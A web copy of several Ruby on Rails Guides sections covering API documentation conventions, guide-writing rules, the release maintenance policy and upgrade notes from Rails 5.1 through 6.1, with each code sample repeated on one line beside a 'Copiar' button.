# <tt>!collection.exists?</tt>. If the collection has not already been
# loaded and you are going to fetch the records anyway it is better to
# check <tt>collection.length.zero?</tt>.
def empty?
if loaded?
size.zero?
else
@target.blank? && !scope.exists?
end
end

# Returns true if the collection is empty. # # If the collection has been loaded # it is equivalent to <tt>collection.size.zero?</tt>. If the # collection has not been loaded, it is equivalent to # <tt>!collection.exists?</tt>. If the collection has not already been # loaded and you are going to fetch the records anyway it is better to # check <tt>collection.length.zero?</tt>. def empty? if loaded? size.zero? else @target.blank? && !scope.exists? end end Copiar

The API is careful not to commit to any particular value, the method has predicate semantics, that's enough.

7 File Names

As a rule of thumb, use filenames relative to the application root:

config/routes.rb            # YES
routes.rb                   # NO
RAILS_ROOT/config/routes.rb # NO

config/routes.rb # YES routes.rb # NO RAILS_ROOT/config/routes.rb # NO Copiar

8 Fonts

8.1 Fixed-width Font

Use fixed-width fonts for:

- Constants, in particular class and module names.

- Method names.

- Literals like nil, false, true, self.

- Symbols.

- Method parameters.

- File names.

class Array
# Calls +to_param+ on all its elements and joins the result with
# slashes. This is used by +url_for+ in Action Pack.
def to_param
collect { |e| e.to_param }.join '/'
end
end

class Array # Calls +to_param+ on all its elements and joins the result with # slashes. This is used by +url_for+ in Action Pack. def to_param collect { |e| e.to_param }.join '/' end end Copiar

Using +...+ for fixed-width font only works with simple content like ordinary method names, symbols, paths (with forward slashes), etc. Please use <tt>...</tt> for everything else, notably class or module names with a namespace as in <tt>ActiveRecord::Base</tt>.

You can quickly test the RDoc output with the following command:

$ echo "+:to_param+" | rdoc --pipe
# => <p><code>:to_param</code></p>

echo "+:to_param+" | rdoc --pipe Copiar

8.2 Regular Font

When "true" and "false" are English words rather than Ruby keywords use a regular font:

# Runs all the validations within the specified context.
# Returns true if no errors are found, false otherwise.
#
# If the argument is false (default is +nil+), the context is
# set to <tt>:create</tt> if <tt>new_record?</tt> is true,
# and to <tt>:update</tt> if it is not.
#
# Validations with no <tt>:on</tt> option will run no
# matter the context. Validations with # some <tt>:on</tt>
# option will only run in the specified context.
def valid?(context = nil)
# ...
end

# Runs all the validations within the specified context. # Returns true if no errors are found, false otherwise. # # If the argument is false (default is +nil+), the context is # set to <tt>:create</tt> if <tt>new_record?</tt> is true, # and to <tt>:update</tt> if it is not. # # Validations with no <tt>:on</tt> option will run no # matter the context. Validations with # some <tt>:on</tt> # option will only run in the specified context. def valid?(context = nil) # ... end Copiar

9 Description Lists

In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):

# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.

# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+. Copiar

The description starts in upper case and ends with a full stop-it's standard English.

10 Dynamically Generated Methods

Methods created with (module|class)_eval(STRING) have a comment by their side with an instance of the generated code. That comment is 2 spaces away from the template:

for severity in Severity.constants
class_eval <<-EOT, __FILE__, __LINE__ + 1
def #{severity.downcase}(message = nil, progname = nil, &block)  # def debug(message = nil, progname = nil, &block)
add(#{severity}, message, progname, &block)                    #   add(DEBUG, message, progname, &block)
end                                                              # end
#
def #{severity.downcase}?                                        # def debug?
#{severity} >= @level                                          #   DEBUG >= @level
end                                                              # end
EOT
end

for severity in Severity.constants class_eval <<-EOT, __FILE__, __LINE__ + 1 def #{severity.downcase}(message = nil, progname = nil, &block) # def debug(message = nil, progname = nil, &block) add(#{severity}, message, progname, &block) # add(DEBUG, message, progname, &block) end # end # def #{severity.downcase}? # def debug? #{severity} >= @level # DEBUG >= @level end # end EOT end Copiar

If the resulting lines are too wide, say 200 columns or more, put the comment above the call:

# def self.find_by_login_and_activated(*args)
#   options = args.extract_options!
#   ...
# end
self.class_eval %{
def self.#{method_id}(*args)
options = args.extract_options!
...
end
}

# def self.find_by_login_and_activated(*args) # options = args.extract_options! # ... # end self.class_eval %{ def self.#{method_id}(*args) options = args.extract_options! ... end } Copiar

11 Method Visibility

When writing documentation for Rails, it's important to understand the difference between public user-facing API vs internal API.

Rails, like most libraries, uses the private keyword from Ruby for defining internal API. However, public API follows a slightly different convention. Instead of assuming all public methods are designed for user consumption, Rails uses the :nodoc: directive to annotate these kinds of methods as internal API.

This means that there are methods in Rails with public visibility that aren't meant for user consumption.

An example of this is ActiveRecord::Core::ClassMethods#arel_table:

module ActiveRecord::Core::ClassMethods
def arel_table #:nodoc:
# do some magic..
end
end

module ActiveRecord::Core::ClassMethods def arel_table #:nodoc: # do some magic.. end end Copiar

If you thought, "this method looks like a public class method for ActiveRecord::Core", you were right. But actually the Rails team doesn't want users to rely on this method. So they mark it as :nodoc: and it's removed from public documentation. The reasoning behind this is to allow the team to change these methods according to their internal needs across releases as they see fit. The name of this method could change, or the return value, or this entire class may disappear; there's no guarantee and so you shouldn't depend on this API in your plugins or applications. Otherwise, you risk your app or gem breaking when you upgrade to a newer release of Rails.

As a contributor, it's important to think about whether this API is meant for end-user consumption. The Rails team is committed to not making any breaking changes to public API across releases without going through a full deprecation cycle. It's recommended that you :nodoc: any of your internal methods/classes unless they're already private (meaning visibility), in which case it's internal by default. Once the API stabilizes the visibility can change, but changing public API is much harder due to backwards compatibility.

A class or module is marked with :nodoc: to indicate that all methods are internal API and should never be used directly.

To summarize, the Rails team uses :nodoc: to mark publicly visible methods and classes for internal use; changes to the visibility of API should be considered carefully and discussed over a pull request first.

12 Regarding the Rails Stack

When documenting parts of Rails API, it's important to remember all of the pieces that go into the Rails stack.

This means that behavior may change depending on the scope or context of the method or class you're trying to document.

In various places there is different behavior when you take the entire stack into account, one such example is ActionView::Helpers::AssetTagHelper#image_tag:

# image_tag("icon.png")
#   # => <img src="/assets/icon.png" />

# image_tag("icon.png") # # => <img src="/assets/icon.png" /> Copiar

Although the default behavior for #image_tag is to always return /images/icon.png, we take into account the full Rails stack (including the Asset Pipeline) we may see the result seen above.

We're only concerned with the behavior experienced when using the full default Rails stack.

In this case, we want to document the behavior of the framework, and not just this specific method.

If you have a question on how the Rails team handles certain API, don't hesitate to open a ticket or send a patch to the issue tracker.

Ruby on Rails Guides Guidelines — Ruby...

1 Markdown

Guides are written in GitHub Flavored Markdown. There is comprehensive documentation for Markdown, as well as a cheatsheet.

2 Prologue

Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. As an example, see the Routing Guide.

3 Headings

The title of every guide uses an h1 heading; guide sections use h2 headings; subsections use h3 headings; etc. Note that the generated HTML output will use heading tags starting with <h2>.

Guide Title
===========

Section
-------

### Sub Section

Guide Title =========== Section ------- ### Sub Section Copiar

When writing headings, capitalize all words except for prepositions, conjunctions, internal articles, and forms of the verb "to be":

#### Assertions and Testing Jobs inside Components
#### Middleware Stack is an Array
#### When are Objects Saved?

#### Assertions and Testing Jobs inside Components #### Middleware Stack is an Array #### When are Objects Saved? Copiar

Use the same inline formatting as regular text:

##### The `:content_type` Option

##### The `:content_type` Option Copiar

4 Linking to the API

Links to the API (api.rubyonrails.org) are processed by the guides generator in the following manner:

Links that include a release tag are left untouched. For example

https://api.rubyonrails.org/v5.0.1/classes/ActiveRecord/Attributes/ClassMethods.html

https://api.rubyonrails.org/v5.0.1/classes/ActiveRecord/Attributes/ClassMethods.html Copiar

is not modified.

Please use these in release notes, since they should point to the corresponding version no matter the target being generated.

If the link does not include a release tag and edge guides are being generated, the domain is replaced by edgeapi.rubyonrails.org. For example,

https://api.rubyonrails.org/classes/ActionDispatch/Response.html

https://api.rubyonrails.org/classes/ActionDispatch/Response.html Copiar

becomes

https://edgeapi.rubyonrails.org/classes/ActionDispatch/Response.html

https://edgeapi.rubyonrails.org/classes/ActionDispatch/Response.html Copiar

If the link does not include a release tag and release guides are being generated, the Rails version is injected. For example, if we are generating the guides for v5.1.0 the link

https://api.rubyonrails.org/classes/ActionDispatch/Response.html

https://api.rubyonrails.org/classes/ActionDispatch/Response.html Copiar

becomes

https://api.rubyonrails.org/v5.1.0/classes/ActionDispatch/Response.html

https://api.rubyonrails.org/v5.1.0/classes/ActionDispatch/Response.html Copiar

Please don't link to edgeapi.rubyonrails.org manually.

5 API Documentation Guidelines

The guides and the API should be coherent and consistent where appropriate. In particular, these sections of the API Documentation Guidelines also apply to the guides:

- Wording

- English

- Example Code

- Filenames

- Fonts

6 HTML Guides

Before generating the guides, make sure that you have the latest version of Bundler installed on your system. You can find the latest Bundler version here. As of this writing, it's v1.17.1.

To install the latest version of Bundler, run gem install bundler.

6.1 Generation

To generate all the guides, just cd into the guides directory, run bundle install, and execute:

$ bundle exec rake guides:generate

bundle exec rake guides:generate Copiar

or

$ bundle exec rake guides:generate:html

bundle exec rake guides:generate:html Copiar

Resulting HTML files can be found in the ./output directory.

To process my_guide.md and nothing else use the ONLY environment variable:

$ touch my_guide.md
$ bundle exec rake guides:generate ONLY=my_guide

touch my_guide.md bundle exec rake guides:generate ONLY=my_guide Copiar

By default, guides that have not been modified are not processed, so ONLY is rarely needed in practice.

To force processing all the guides, pass ALL=1.

If you want to generate guides in a language other than English, you can keep them in a separate directory under source (e.g. source/es) and use the GUIDES_LANGUAGE environment variable:

$ bundle exec rake guides:generate GUIDES_LANGUAGE=es

bundle exec rake guides:generate GUIDES_LANGUAGE=es Copiar

If you want to see all the environment variables you can use to configure the generation script just run:

$ rake

rake Copiar

6.2 Validation

Please validate the generated HTML with:

$ bundle exec rake guides:validate

bundle exec rake guides:validate Copiar

Particularly, titles get an ID generated from their content and this often leads to duplicates.

7 Kindle Guides

7.1 Generation

To generate guides for the Kindle, use the following rake task:

$ bundle exec rake guides:generate:kindle

bundle exec rake guides:generate:kindle Copiar

Maintenance Policy for Ruby on Rails —...

1 New Features

New features are only added to the main branch and will not be made available in point releases.

2 Bug Fixes

Only the latest release series will receive bug fixes. When enough bugs are fixed and its deemed worthy to release a new gem, this is the branch it happens from.

In special situations, where someone from the Core Team agrees to support more series, they are included in the list of supported series.

Currently included series: 6.1.Z.

3 Security Issues

The current release series and the next most recent one will receive patches and new versions in case of a security issue.

These releases are created by taking the last released version, applying the security patches, and releasing. Those patches are then applied to the end of the x-y-stable branch. For example, a theoretical 1.2.2.1 security release would be built from 1.2.2, and then added to the end of 1-2-stable. This means that security releases are easy to upgrade to if you're running the latest version of Rails.

Currently included series: 6.1.Z, 6.0.Z, 5.2.Z.

4 Severe Security Issues

For severe security issues all releases in the current major series, and also the last release in the previous major series will receive patches and new versions. The classification of the security issue is judged by the core team.

Currently included series: 6.1.Z, 6.0.Z, 5.2.Z.

5 Unsupported Release Series

When a release series is no longer supported, it's your own responsibility to deal with bugs and security issues. We may provide backports of the fixes and publish them to git, however there will be no new versions released. If you are not comfortable maintaining your own versions, you should upgrade to a supported version.

Atualizando o Ruby on Rails — Ruby on...

1 Conselho Geral

Antes de tentar atualizar uma aplicação existente, você deve ter certeza que possui uma boa razão para fazê-lo. Então tenha em mente alguns fatores: a necessidade de novas funcionalidades, a crescente dificuldade de encontrar suporte para código mais antigo, seu tempo disponível e habilidades, entre outros.

1.1 Cobertura de Testes

A melhor maneira de garantir que sua aplicação ainda funciona após a atualização é possuir uma boa cobertura de testes antes de começar o processo. Se você não tiver testes automatizados para a maior parte de sua aplicação, será necessário gastar algum tempo realizando testes manuais de todas as partes alteradas. No caso da atualização do Rails, isso significa cada umas das funcionalidades dentro da aplicação. Faça a si mesmo um favor e tenha certeza de ter uma boa cobertura de teste antes de iniciar uma atualização.

1.2 O Processo de Atualização

Quando estiver atualizando a versão do Rails, o melhor é ir devagar, uma versão Minor por vez, para fazer bom uso dos avisos de depreciação. As versões do Rails são numeradas da maneira Major.Minor.Patch. Versões Major e Minor têm permissão para alterar API pública, isso pode causar erros em sua aplicação. Versões Patch incluem apenas correções de bug, e não alteram nenhuma API pública.

O processo deve correr da seguinte maneira:

1. Escreva os testes e garanta que eles passem.

2. Atualize para a última versão Patch após a versão atual de seu projeto.

3. Conserte os testes e funcionalidades depreciadas.

4. Atualize para a última versão Patch da versão Minor seguinte.

Repita este processo até chegar na versão desejada do Rails. Cada vez que você mudar entre versões, você precisará alterar a versão do Rails no Gemfile (possivelmente também as versões de outras gems) e executar um bundle update. Após, execute a tarefa de atualização mencionada abaixo para atualizar arquivos de configuração, então execute os testes.

Você pode encontrar a lista com todas as versões liberadas do Rails aqui

1.3 Versões do Ruby

Rails geralmente se mantém próximo à versão mais recente do Ruby quando é liberado:

- Rails 6 requer Ruby 2.5.0 ou posterior.

- Rails 5 requer Ruby 2.2.2 ou posterior.

- Rails 4 prefere Ruby 2.0 e requer 1.9.3 ou posterior.

- Rails 3.2.x é a última branch a suportar Ruby 1.8.7.

- Rails 3 e posteriores requerem Ruby 1.8.7 ou posteriores. O suporte para todas as versões anteriores do Ruby foi descontinuado. Você deve atualizar o quanto antes.

Dica: O Ruby 1.8.7 p248 e p249 possuem bugs que travam o Rails. Ruby Enterprise Edition possui correções para esses erros desde a versão 1.8.7-2010.02. Na Versão 1.9, Ruby 1.9.1 não é utilizável pois ela falha logo de início devido a problemas de memória, então se você quiser utilizar a versão 1.9.x, pule diretamente para 1.9.3 para evitar problemas.

1.4 A Tarefa de Atualização

Rails fornece o comando app:update (rake rails:update na versão 4.2 e anteriores). Execute este comando após atualizar a versão do Rails no Gemfile. Isto lhe ajudará na criação de novos arquivos e na alteração de arquivos antigos em uma sessão interativa.

$ bin/rails app:update
identical  config/boot.rb
exist  config
conflict  config/routes.rb
Overwrite /myapp/config/routes.rb? (enter "h" for help) [Ynaqdh]
force  config/routes.rb
conflict  config/application.rb
Overwrite /myapp/config/application.rb? (enter "h" for help) [Ynaqdh]
force  config/application.rb
conflict  config/environment.rb
...

bin/rails app:update Copiar

Não esqueça de revisar a diferença, para verificar se houveram mudanças inesperadas.

1.5 Configurar Padrões de Framework

A nova versão do Rails pode ter configurações padrão diferentes da versão anterior. No entanto, após seguir os passos descritos acima, sua aplicação ainda estaria rodando com configurações padrão da versão anterior do Rails. Isso porque o valor para config.load_defaults em config/application.rb ainda não foi alterado.

Para permitir que você atualize para novos padrões um a um, a tarefa de atualização cria um arquivo config/initializers/new_framework_defaults.rb. Uma vez que a aplicação esteja pronta para rodar com as novas configurações padrão, você pode remover este arquivo e trocar o valor de config.load_defaults.

2 Upgrading from Rails 6.0 to Rails 6.1

For more information on changes made to Rails 6.1 please see the release notes.

2.1 Rails.application.config_for return value no longer supports access with String keys.

Given a configuration file like this:

# config/example.yml
development:
options:
key: value

# config/example.yml development: options: key: value Copiar

Rails.application.config_for(:example).options

Rails.application.config_for(:example).options Copiar

This used to return a hash on which you could access values with String keys. That was deprecated in 6.0, and now doesn't work anymore.

You can call with_indifferent_access on the return value of config_for if you still want to access values with String keys, e.g.:

Rails.application.config_for(:example).with_indifferent_access.dig('options', 'key')

Rails.application.config_for(:example).with_indifferent_access.dig('options', 'key') Copiar

2.2 Response's Content-Type when using respond_to#any

The Content-Type header returned in the response can differ from what Rails 6.0 returned, more specifically if your application uses respond_to { |format| format.any }. The Content-Type will now be based on the given block rather than the request's format.

Example:

def my_action
respond_to do |format|
format.any { render(json: { foo: 'bar' }) }
end
end

def my_action respond_to do |format| format.any { render(json: { foo: 'bar' }) } end end Copiar

get('my_action.csv')

get('my_action.csv') Copiar

Previous behaviour was returning a text/csv response's Content-Type which is inaccurate since a JSON response is being rendered. Current behaviour correctly returns a application/json response's Content-Type.

If your application relies on the previous incorrect behaviour, you are encouraged to specify which formats your action accepts, i.e.

format.any(:xml, :json) { render request.format.to_sym => @people }

format.any(:xml, :json) { render request.format.to_sym => @people } Copiar

2.3 ActiveSupport::Callbacks#halted_callback_hook now receive a second argument

Active Support allows you to override the halted_callback_hook whenever a callback halts the chain. This method now receive a second argument which is the name of the callback being halted. If you have classes that override this method, make sure it accepts two arguments. Note that this is a breaking change without a prior deprecation cycle (for performance reasons).

Example:

class Book < ApplicationRecord
before_save { throw(:abort) }
before_create { throw(:abort) }

def halted_callback_hook(filter, callback_name) # => This method now accepts 2 arguments instead of 1
Rails.logger.info("Book couldn't be #{callback_name}d")
end
end

class Book < ApplicationRecord before_save { throw(:abort) } before_create { throw(:abort) } def halted_callback_hook(filter, callback_name) # => This method now accepts 2 arguments instead of 1 Rails.logger.info("Book couldn't be #{callback_name}d") end end Copiar

2.4 The helper class method in controllers uses String#constantize

Conceptually, before Rails 6.1

helper "foo/bar"

helper "foo/bar" Copiar

resulted in

require_dependency "foo/bar_helper"
module_name = "foo/bar_helper".camelize
module_name.constantize

require_dependency "foo/bar_helper" module_name = "foo/bar_helper".camelize module_name.constantize Copiar

Now it does this instead:

prefix = "foo/bar".camelize
"#{prefix}Helper".constantize

prefix = "foo/bar".camelize "#{prefix}Helper".constantize Copiar

This change is backwards compatible for the majority of applications, in which case you do not need to do anything.

Technically, however, controllers could configure helpers_path to point to a directory in $LOAD_PATH that was not in the autoload paths. That use case is no longer supported out of the box. If the helper module is not autoloadable, the application is responsible for loading it before calling helper.

2.5 Redirection to HTTPS from HTTP will now use the 308 HTTP status code

The default HTTP status code used in ActionDispatch::SSL when redirecting non-GET/HEAD requests from HTTP to HTTPS has been changed to 308 as defined in https://tools.ietf.org/html/rfc7538.

2.6 Active Storage now requires Image Processing

When processing variants in Active Storage, it's now required to have the image_processing gem bundled instead of directly using mini_magick. Image Processing is configured by default to use mini_magick behind the scenes, so the easiest way to upgrade is by replacing the mini_magick gem for the image_processing gem and making sure to remove the explicit usage of combine_options since it's no longer needed.

For readability, you may wish to change raw resize calls to image_processing macros. For example, instead of:

video.preview(resize: "100x100")
video.preview(resize: "100x100>")
video.preview(resize: "100x100^")

video.preview(resize: "100x100") video.preview(resize: "100x100>") video.preview(resize: "100x100^") Copiar

you can respectively do:

video.preview(resize_to_fit: [100, 100])
video.preview(resize_to_limit: [100, 100])
video.preview(resize_to_fill: [100, 100])

video.preview(resize_to_fit: [100, 100]) video.preview(resize_to_limit: [100, 100]) video.preview(resize_to_fill: [100, 100]) Copiar

3 Upgrading from Rails 5.2 to Rails 6.0

For more information on changes made to Rails 6.0 please see the release notes.

3.1 Using Webpacker

Webpacker is the default JavaScript compiler for Rails 6. But if you are upgrading the app, it is not activated by default. If you want to use Webpacker, then include it in your Gemfile and install it:

gem "webpacker"

gem "webpacker" Copiar

$ bin/rails webpacker:install

bin/rails webpacker:install Copiar

3.2 Force SSL

The force_ssl method on controllers has been deprecated and will be removed in Rails 6.1. You are encouraged to enable config.force_ssl to enforce HTTPS connections throughout your application. If you need to exempt certain endpoints from redirection, you can use config.ssl_options to configure that behavior.

3.3 Purpose and expiry metadata is now embedded inside signed and encrypted cookies for increased security

To improve security, Rails embeds the purpose and expiry metadata inside encrypted or signed cookies value.

Rails can then thwart attacks that attempt to copy the signed/encrypted value of a cookie and use it as the value of another cookie.

This new embed metadata make those cookies incompatible with versions of Rails older than 6.0.

If you require your cookies to be read by Rails 5.2 and older, or you are still validating your 6.0 deploy and want to be able to rollback set Rails.application.config.action_dispatch.use_cookies_with_metadata to false.

3.4 All npm packages have been moved to the @rails scope

If you were previously loading any of the actioncable, activestorage, or rails-ujs packages through npm/yarn, you must update the names of these dependencies before you can upgrade them to 6.0.0:

actioncable   → @rails/actioncable
activestorage → @rails/activestorage
rails-ujs     → @rails/ujs

actioncable → @rails/actioncable activestorage → @rails/activestorage rails-ujs → @rails/ujs Copiar

3.5 Action Cable JavaScript API Changes

The Action Cable JavaScript package has been converted from CoffeeScript to ES2015, and we now publish the source code in the npm distribution.

This release includes some breaking changes to optional parts of the Action Cable JavaScript API:

- Configuration of the WebSocket adapter and logger adapter have been moved from properties of ActionCable to properties of ActionCable.adapters. If you are configuring these adapters you will need to make these changes:

-    ActionCable.WebSocket = MyWebSocket
+    ActionCable.adapters.WebSocket = MyWebSocket

- ActionCable.WebSocket = MyWebSocket + ActionCable.adapters.WebSocket = MyWebSocket Copiar

-    ActionCable.logger = myLogger
+    ActionCable.adapters.logger = myLogger

- ActionCable.logger = myLogger + ActionCable.adapters.logger = myLogger Copiar

- The ActionCable.startDebugging() and ActionCable.stopDebugging() methods have been removed and replaced with the property ActionCable.logger.enabled. If you are using these methods you will need to make these changes:

-    ActionCable.startDebugging()
+    ActionCable.logger.enabled = true

- ActionCable.startDebugging() + ActionCable.logger.enabled = true Copiar

-    ActionCable.stopDebugging()
+    ActionCable.logger.enabled = false

- ActionCable.stopDebugging() + ActionCable.logger.enabled = false Copiar

3.6 ActionDispatch::Response#content_type now returns the Content-Type header without modification

Previously, the return value of ActionDispatch::Response#content_type did NOT contain the charset part. This behavior has changed to include the previously omitted charset part as well.

If you want just the MIME type, please use ActionDispatch::Response#media_type instead.

Before:

resp = ActionDispatch::Response.new(200, "Content-Type" => "text/csv; header=present; charset=utf-16")
resp.content_type #=> "text/csv; header=present"

resp = ActionDispatch::Response.new(200, "Content-Type" => "text/csv; header=present; charset=utf-16") resp.content_type #=> "text/csv; header=present" Copiar

After:

resp = ActionDispatch::Response.new(200, "Content-Type" => "text/csv; header=present; charset=utf-16")
resp.content_type #=> "text/csv; header=present; charset=utf-16"
resp.media_type   #=> "text/csv"

resp = ActionDispatch::Response.new(200, "Content-Type" => "text/csv; header=present; charset=utf-16") resp.content_type #=> "text/csv; header=present; charset=utf-16" resp.media_type #=> "text/csv" Copiar

3.7 Autoloading

The default configuration for Rails 6

# config/application.rb

config.load_defaults 6.0

# config/application.rb config.load_defaults 6.0 Copiar

enables zeitwerk autoloading mode on CRuby. In that mode, autoloading, reloading, and eager loading are managed by Zeitwerk.

3.7.1 Public API

In general, applications do not need to use the API of Zeitwerk directly. Rails sets things up according to the existing contract: config.autoload_paths, config.cache_classes, etc.

While applications should stick to that interface, the actual Zeitwerk loader object can be accessed as

Rails.autoloaders.main

Rails.autoloaders.main Copiar

That may be handy if you need to preload STIs or configure a custom inflector, for example.

3.7.2 Project Structure

If the application being upgraded autoloads correctly, the project structure should be already mostly compatible.

However, classic mode infers file names from missing constant names (underscore), whereas zeitwerk mode infers constant names from file names (camelize). These helpers are not always inverse of each other, in particular if acronyms are involved. For instance, "FOO".underscore is "foo", but "foo".camelize is "Foo", not "FOO".

Compatibility can be checked with the zeitwerk:check task:

$ bin/rails zeitwerk:check
Hold on, I am eager loading the application.
All is good!

bin/rails zeitwerk:check Copiar

3.7.3 require_dependency

All known use cases of require_dependency have been eliminated, you should grep the project and delete them.

If your application has STIs, please check their section in the guide Autoloading and Reloading Constants (Zeitwerk Mode).

3.7.4 Qualified names in class and module definitions

You can now robustly use constant paths in class and module definitions:

# Autoloading in this class' body matches Ruby semantics now.
class Admin::UsersController < ApplicationController
# ...
end

# Autoloading in this class' body matches Ruby semantics now. class Admin::UsersController < ApplicationController # ... end Copiar

A gotcha to be aware of is that, depending on the order of execution, the classic autoloader could sometimes be able to autoload Foo::Wadus in

class Foo::Bar
Wadus
end

class Foo::Bar Wadus end Copiar

That does not match Ruby semantics because Foo is not in the nesting, and won't work at all in zeitwerk mode. If you find such corner case you can use the qualified name Foo::Wadus:

class Foo::Bar
Foo::Wadus
end

class Foo::Bar Foo::Wadus end Copiar

or add Foo to the nesting:

module Foo
class Bar
Wadus
end
end

module Foo class Bar Wadus end end Copiar

3.7.5 Concerns

You can autoload and eager load from a standard structure like

app/models
app/models/concerns

app/models app/models/concerns Copiar

In that case, app/models/concerns is assumed to be a root directory (because it belongs to the autoload paths), and it is ignored as namespace. So, app/models/concerns/foo.rb should define Foo, not Concerns::Foo.

The Concerns:: namespace worked with the classic autoloader as a side-effect of the implementation, but it was not really an intended behavior. An application using Concerns:: needs to rename those classes and modules to be able to run in zeitwerk mode.

3.7.6 Having app in the autoload paths

Some projects want something like app/api/base.rb to define API::Base, and add app to the autoload paths to accomplish that in classic mode. Since Rails adds all subdirectories of app to the autoload paths automatically, we have another situation in which there are nested root directories, so that setup no longer works. Similar principle we explained above with concerns.

If you want to keep that structure, you'll need to delete the subdirectory from the autoload paths in an initializer:

ActiveSupport::Dependencies.autoload_paths.delete("#{Rails.root}/app/api")

ActiveSupport::Dependencies.autoload_paths.delete("#{Rails.root}/app/api") Copiar

3.7.7 Autoloaded Constants and Explicit Namespaces

If a namespace is defined in a file, as Hotel is here:

app/models/hotel.rb         # Defines Hotel.
app/models/hotel/pricing.rb # Defines Hotel::Pricing.

app/models/hotel.rb # Defines Hotel. app/models/hotel/pricing.rb # Defines Hotel::Pricing. Copiar

the Hotel constant has to be set using the class or module keywords. For example:

class Hotel
end

class Hotel end Copiar

is good.

Alternatives like

Hotel = Class.new

Hotel = Class.new Copiar

or

Hotel = Struct.new

Hotel = Struct.new Copiar

won't work, child objects like Hotel::Pricing won't be found.

This restriction only applies to explicit namespaces. Classes and modules not defining a namespace can be defined using those idioms.

3.7.8 One file, one constant (at the same top-level)

In classic mode you could technically define several constants at the same top-level and have them all reloaded. For example, given

# app/models/foo.rb

class Foo
end

class Bar
end

# app/models/foo.rb class Foo end class Bar end Copiar

while Bar could not be autoloaded, autoloading Foo would mark Bar as autoloaded too. This is not the case in zeitwerk mode, you need to move Bar to its own file bar.rb. One file, one constant.

This affects only to constants at the same top-level as in the example above. Inner classes and modules are fine. For example, consider

# app/models/foo.rb

class Foo
class InnerClass
end
end

# app/models/foo.rb class Foo class InnerClass end end Copiar

If the application reloads Foo, it will reload Foo::InnerClass too.

3.7.9 Spring and the test Environment

Spring reloads the application code if something changes. In the test environment you need to enable reloading for that to work:

# config/environments/test.rb

config.cache_classes = false

# config/environments/test.rb config.cache_classes = false Copiar

Otherwise you'll get this error:

reloading is disabled because config.cache_classes is true

reloading is disabled because config.cache_classes is true Copiar

3.7.10 Bootsnap

Bootsnap should be at least version 1.4.2.

In addition to that, Bootsnap needs to disable the iseq cache due to a bug in the interpreter if running Ruby 2.5. Please make sure to depend on at least Bootsnap 1.4.4 in that case.

3.7.11 config.add_autoload_paths_to_load_path

The new configuration point

config.add_autoload_paths_to_load_path

config.add_autoload_paths_to_load_path Copiar

is true by default for backwards compatibility, but allows you to opt-out from adding the autoload paths to $LOAD_PATH.

This makes sense in most applications, since you never should require a file in app/models, for example, and Zeitwerk only uses absolute file names internally.

By opting-out you optimize $LOAD_PATH lookups (less directories to check), and save Bootsnap work and memory consumption, since it does not need to build an index for these directories.

3.7.12 Thread-safety

In classic mode, constant autoloading is not thread-safe, though Rails has locks in place for example to make web requests thread-safe when autoloading is enabled, as it is common in the development environment.

Constant autoloading is thread-safe in zeitwerk mode. For example, you can now autoload in multi-threaded scripts executed by the runner command.

3.7.13 Globs in config.autoload_paths

Beware of configurations like

config.autoload_paths += Dir["#{config.root}/lib/**/"]

config.autoload_paths += Dir["#{config.root}/lib/**/"] Copiar

Every element of config.autoload_paths should represent the top-level namespace (Object) and they cannot be nested in consequence (with the exception of concerns directories explained above).

To fix this, just remove the wildcards:

config.autoload_paths << "#{config.root}/lib"

config.autoload_paths << "#{config.root}/lib" Copiar

3.7.14 Eager loading and autoloading are consistent

In classic mode, if app/models/foo.rb defines Bar, you won't be able to autoload that file, but eager loading will work because it loads files recursively blindly. This can be a source of errors if you test things first eager loading, execution may fail later autoloading.

In zeitwerk mode both loading modes are consistent, they fail and err in the same files.

3.7.15 How to Use the Classic Autoloader in Rails 6

Applications can load Rails 6 defaults and still use the classic autoloader by setting config.autoloader this way:

# config/application.rb

config.load_defaults 6.0
config.autoloader = :classic

# config/application.rb config.load_defaults 6.0 config.autoloader = :classic Copiar

When using the Classic Autoloader in Rails 6 application it is recommended to set concurrency level to 1 in development environment, for the web servers and background processors, due to the thread-safety concerns.

3.8 Active Storage assignment behavior change

With the configuration defaults for Rails 5.2, assigning to a collection of attachments declared with has_many_attached appends new files:

class User < ApplicationRecord
has_many_attached :highlights
end

user.highlights.attach(filename: "funky.jpg", ...)
user.highlights.count # => 1

blob = ActiveStorage::Blob.create_after_upload!(filename: "town.jpg", ...)
user.update!(highlights: [ blob ])

user.highlights.count # => 2
user.highlights.first.filename # => "funky.jpg"
user.highlights.second.filename # => "town.jpg"

class User < ApplicationRecord has_many_attached :highlights end user.highlights.attach(filename: "funky.jpg", ...) user.highlights.count # => 1 blob = ActiveStorage::Blob.create_after_upload!(filename: "town.jpg", ...) user.update!(highlights: [ blob ]) user.highlights.count # => 2 user.highlights.first.filename # => "funky.jpg" user.highlights.second.filename # => "town.jpg" Copiar

With the configuration defaults for Rails 6.0, assigning to a collection of attachments replaces existing files instead of appending to them. This matches Active Record behavior when assigning to a collection association:

user.highlights.attach(filename: "funky.jpg", ...)
user.highlights.count # => 1

blob = ActiveStorage::Blob.create_after_upload!(filename: "town.jpg", ...)
user.update!(highlights: [ blob ])

user.highlights.count # => 1
user.highlights.first.filename # => "town.jpg"

user.highlights.attach(filename: "funky.jpg", ...) user.highlights.count # => 1 blob = ActiveStorage::Blob.create_after_upload!(filename: "town.jpg", ...) user.update!(highlights: [ blob ]) user.highlights.count # => 1 user.highlights.first.filename # => "town.jpg" Copiar

#attach can be used to add new attachments without removing the existing ones:

blob = ActiveStorage::Blob.create_after_upload!(filename: "town.jpg", ...)
user.highlights.attach(blob)

user.highlights.count # => 2
user.highlights.first.filename # => "funky.jpg"
user.highlights.second.filename # => "town.jpg"

blob = ActiveStorage::Blob.create_after_upload!(filename: "town.jpg", ...) user.highlights.attach(blob) user.highlights.count # => 2 user.highlights.first.filename # => "funky.jpg" user.highlights.second.filename # => "town.jpg" Copiar

Existing applications can opt in to this new behavior by setting config.active_storage.replace_on_assign_to_many to true. The old behavior will be deprecated in Rails 6.1 and removed in a subsequent release.

4 Upgrading from Rails 5.1 to Rails 5.2

For more information on changes made to Rails 5.2 please see the release notes.

4.1 Bootsnap

Rails 5.2 adds bootsnap gem in the newly generated app's Gemfile. The app:update command sets it up in boot.rb. If you want to use it, then add it in the Gemfile, otherwise change the boot.rb to not use bootsnap.

